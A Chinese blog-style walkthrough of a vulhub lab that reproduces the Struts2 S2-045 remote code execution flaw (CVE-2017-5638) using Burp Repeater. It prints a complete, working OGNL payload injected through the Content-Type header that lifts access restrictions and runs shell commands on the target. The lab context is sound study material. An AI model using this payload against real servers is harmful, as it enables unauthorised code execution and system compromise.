vulhub-S2-045 远程代码执行漏洞(CVE-2017-5638)

本文详细描述了Struts2框架的S2-045远程代码执行漏洞(CVE-2017-5638),涉及恶意值触发的RCE攻击,影响多个版本。攻击者可通过特定Content-Type和OGNL表达式执行命令,提示如何搭建靶场和利用漏洞获取目标信息。

S2-045 远程代码执行漏洞(CVE-2017-5638)

1.漏洞网址

https://vulhub.org/#/environments/struts2/s2-045/

2.漏洞描述

可以使用恶意值执行 RCE 攻击。如果该值无效,则会引发异常,然后使用该异常向用户显示错误消息。Content-Type``Content-Type

3.受影响的版本

Struts 2.3.5 - Struts 2.3.31
Struts 2.5  - Struts 2.5.10

4.靶场搭建

image-20230909103810650

image-20230909103916420

image-20230909104442960

5.将bp中的数据包发送到的repeter

image-20230909104858502

image-20230909104832669

6.在repeater模块修改数据包,验证是否存在RCE 漏

image-20230909105404748

Content-Type:
%       {#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)} 是一个 OGNL 表达式,用于修改当前请求的 HttpServletResponse 对象的响应头。通过调用 addHeader 方法,它将设置一个新的响应头字段,名称为 "vulhub",值为 "54289"。
.multipart/form-data 是指定请求的 Content-Type 类型为 multipart/form-data,表示请求是一个多部分表单数据。

image-20230909105851571

7.经过上述步骤说明存在RCE漏洞,在Content-type 那里输入下述代码,获得目标信息

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ip a').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

8.出现root则表示执行成功。

image-20230909111121828

9/出现ip表示执行成功

image-20230909111230125

9/出现ip表示执行成功

[外链图片转存中…(img-r2CRZuMV-1694240577132)]

pP6WwSH.md.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值